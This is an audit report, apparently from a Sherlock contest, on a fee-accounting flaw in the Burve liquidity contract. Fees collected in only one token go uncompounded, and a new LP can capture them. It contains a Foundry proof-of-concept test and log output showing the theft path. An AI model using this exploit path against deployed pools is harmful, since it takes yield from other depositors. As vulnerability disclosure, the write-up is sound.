Orbiting Zinc Parrot

Medium

# Fee accrued can be stolen by new LPs if fee is collected in one token only or collected in large amount for the other token.

### Summary

Fee is only accounted for when collected in both tokens which might cause losses to the user and gives another user an opportunity to claim that fee

### Root Cause

In the `Burve` contract, any fees accrued in the uniswapV3 ranges is collected by the `Burve::compoundV3Ranges(...)` function when a user interacts thourgh mint, burn etc functions. These collected fee tokens are provided as a liquidity to the pool again and the total nominal liquidity is increased in the Burve contract.

```solidity
    /// @notice Collect fees and compound them for each v3 range.
    function compoundV3Ranges() internal {
        // collect fees
        collectV3Fees();

        (uint160 sqrtRatioX96, , , , , , ) = pool.slot0();

@>        uint128 compoundedNominalLiq = collectAndCalcCompound();
        if (compoundedNominalLiq == 0) {
            return;
        }

@>        totalNominalLiq += compoundedNominalLiq;
```
Github: [Link](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/single/Burve.sol#L738C1-L750C49)

So now there is more liquidity per share in the pool and a user will get more tokens if they burn the position. But the issue is, the fee is only accrued/compounded when it is collected in both of the tokens. If any of the tokens has 0 collected fee, then no tokens will be deposited in the pool and no liquidity will be updated. The collected fee tokens in other token will remain in the pool for the next compounding. We can see this in `Burve::collectAndCalcCompound(...)`  function that is called by `Burve::compoundV3Ranges(...)` function:

```solidity
    function collectAndCalcCompound()
        internal
        returns (uint128 mintNominalLiq)
    {

       ...


@>        if (collected0 == 0 && collected1 == 0) {
            return 0;
        }

        // compute liq in collected amounts
        (
            uint256 amount0InUnitLiqX64,
            uint256 amount1InUnitLiqX64
        ) = getCompoundAmountsPerUnitNominalLiqX64();

        uint256 nominalLiq0 = amount0InUnitLiqX64 > 0
            ? (collected0 << 64) / amount0InUnitLiqX64
            : uint256(type(uint128).max);
@>        uint256 nominalLiq1 = amount1InUnitLiqX64 > 0
            ? (collected1 << 64) / amount1InUnitLiqX64
            : uint256(type(uint128).max);

@>        uint256 unsafeNominalLiq = nominalLiq0 < nominalLiq1
            ? nominalLiq0
            : nominalLiq1;

           ...

    }
```

Github: [Link](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/single/Burve.sol#L897)

We can see that we are only taking the minimum of two tokens collected in liquidity. If one is zero then we are not taking other token into account. These collected tokens are not stuck but will be accounted for when the fees comes in other tokens as well in the new compounding. But for now these tokens remains in the pool and total liquidity is not updated for them. Because of these, two things might happen:

1. A user tries to burn his shares but does not receive the fee share collected.
2. Another user saw it and deposit the tokens at that time. Now he waits for the fee to accrue in other token and he burns his liquidity immediately after that. Not only he receives the fee collected on his tokens, but also the fee that was previously not compounded which does not belong to him.

This also happens when we have less amount of fee collected in one token as compared to another. So the other extra tokens are not deposited into the pool and remains in the Burve contract.

Now the following scenario is of low/medium likelihood because pegged assets will be deposited in the pool. But this discrepancy can occur when this peg is updated maybe because the other tokens are ERC4626 tokens and might become more valuable in future. Also this can happen when the asset depegs and large amount of trades moves in one direction only. But I believe the impact is high.


### Internal Pre-conditions

N/A

### External Pre-conditions

Fee is only collected in one token or collected in very large amount for one of the token.

### Attack Path

Given above

### Impact

A user will lose fee yields.

### PoC

Include the following test in `Burve.t.sol` file:

```solidity
    function test_anyoneCanStealTheFeeShareOfOldLPs() public forkOnly {
        uint128 mintLiq = 100 ether;

        // Mint initially to alice
        deal(address(token0), address(sender), type(uint256).max);
        deal(address(token1), address(sender), type(uint256).max);
        vm.startPrank(sender);
        token0.approve(address(burve), type(uint256).max);
        token1.approve(address(burve), type(uint256).max);
        burve.testMint(address(alice), mintLiq, 0, type(uint128).max);
        vm.stopPrank();

        // get the kodiak island
        IKodiakIsland island = burve.island();

        // rebalance the kodiak island first
        island.rebalance();


        console.log("---- Mint with Burn With fee ---");
        // store the current state
        uint snapshot = vm.snapshotState();

        // mint some tokens to burve to represent fee but in one token only
        deal(address(token0), address(burve), 1000 ether);

        // get the charlie LP shares balance
        uint charlieBurveBalanceBefore = burve.balanceOf(charlie);

        // get the token balances before for checking the tokens transferred
        uint balanceBeforeToken0 = token0.balanceOf(sender);
        uint balanceBeforeToken1 = token1.balanceOf(sender);

        // since the fee earned was only in one token, it will not be accrued
        // charlie mints to steal the fee
        vm.startPrank(sender);
        token0.approve(address(burve), type(uint256).max);
        token1.approve(address(burve), type(uint256).max);
        burve.testMint(address(charlie), mintLiq, 0, type(uint128).max);
        vm.stopPrank();

        // balance after mint
        uint balanceAfterToken0 = token0.balanceOf(sender);
        uint balanceAfterToken1 = token1.balanceOf(sender);

        // get the burve balance after
        uint charlieBurveBalanceAfter = burve.balanceOf(charlie);

        // new tokens minted
        console.log("token0 spent for mint: ", balanceBeforeToken0 - balanceAfterToken0);
        console.log("token1 spent for mint: ", balanceBeforeToken1 - balanceAfterToken1);
        console.log("new tokens minted to alice for same amount of liqiudity: ", charlieBurveBalanceAfter - charlieBurveBalanceBefore);


        // more fees accumulated in other token
        deal(address(token1), address(burve), 1000 ether);

        // get the tokens balance before
        balanceBeforeToken0 = token0.balanceOf(charlie);
        balanceBeforeToken1 = token1.balanceOf(charlie);
        
        // charlie burns his shares
        vm.startPrank(charlie);
        burve.approve(address(burve), type(uint).max);
        burve.burn(burve.balanceOf(charlie), 0, type(uint128).max);
        vm.stopPrank();

        // get the tokens balance after
        balanceAfterToken0 = token0.balanceOf(charlie);
        balanceAfterToken1 = token1.balanceOf(charlie);

        console.log("token0 received for burning shares: ", balanceAfterToken0 - balanceBeforeToken0);
        console.log("token1 received for burning shares: ", balanceAfterToken1 - balanceBeforeToken1);

        // revert to the old state
        vm.revertToState(snapshot);

        console.log("\n");
        console.log("---- Mint and Burn Without fee ---");
        
        // get the charlie LP shares balance
        charlieBurveBalanceBefore = burve.balanceOf(charlie);

        // get the burve token balance before for checking the transferred balance
        balanceBeforeToken0 = token0.balanceOf(sender);
        balanceBeforeToken1 = token1.balanceOf(sender);

        // since the fee earned was only in one token, it will not be accrued
        // charlie mints to steal the fee
        vm.startPrank(sender);
        token0.approve(address(burve), type(uint256).max);
        token1.approve(address(burve), type(uint256).max);
        burve.testMint(address(charlie), mintLiq, 0, type(uint128).max);
        vm.stopPrank();

        // balance after mint
        balanceAfterToken0 = token0.balanceOf(sender);
        balanceAfterToken1 = token1.balanceOf(sender);

        // get the burve balance after
        charlieBurveBalanceAfter = burve.balanceOf(charlie);

        // new tokens minted
        console.log("token0 spent for mint: ", balanceBeforeToken0 - balanceAfterToken0);
        console.log("token1 spent for mint: ", balanceBeforeToken1 - balanceAfterToken1);
        console.log("new tokens minted to charlie for same amount of liqiudity: ", charlieBurveBalanceAfter - charlieBurveBalanceBefore);

        // get the tokens balance before
        balanceBeforeToken0 = token0.balanceOf(charlie);
        balanceBeforeToken1 = token1.balanceOf(charlie);
        
        // charlie burns his shares
        vm.startPrank(charlie);
        burve.approve(address(burve), type(uint).max);
        burve.burn(burve.balanceOf(charlie), 0, type(uint128).max);
        vm.stopPrank();

        // get the tokens balance after
        balanceAfterToken0 = token0.balanceOf(charlie);
        balanceAfterToken1 = token1.balanceOf(charlie);

        console.log("token0 received for burning shares: ", balanceAfterToken0 - balanceBeforeToken0);
        console.log("token1 received for burning shares: ", balanceAfterToken1 - balanceBeforeToken1);
    }
```

_Output:_

```bash
[PASS] test_anyoneCanStealTheFeeShareOfOldLPs() (gas: 3983497)
Logs:
  ---- Mint with Burn With fee ---
  token0 spent for mint:  34140999421640471950
  token1 spent for mint:  49901123687090552020
  new tokens minted to alice for same amount of liqiudity:  100000000000000000000
  token0 received for burning shares:  206157329183632758349
  token1 received for burning shares:  549901123687090551875
  

  ---- Mint and Burn Without fee ---
  token0 spent for mint:  34140999421640471950
  token1 spent for mint:  49901123687090552020
  new tokens minted to charlie for same amount of liqiudity:  100000000000000000000
  token0 received for burning shares:  34140999421640471948
  token1 received for burning shares:  49901123687090552017
```

### Mitigation

Maybe store the extra tokens in a reserve or keep the track of the current total liquidity and the fees not collected. But this might be a little bit complex to implement. At this moment this is what I could think of. If you have something better then implement that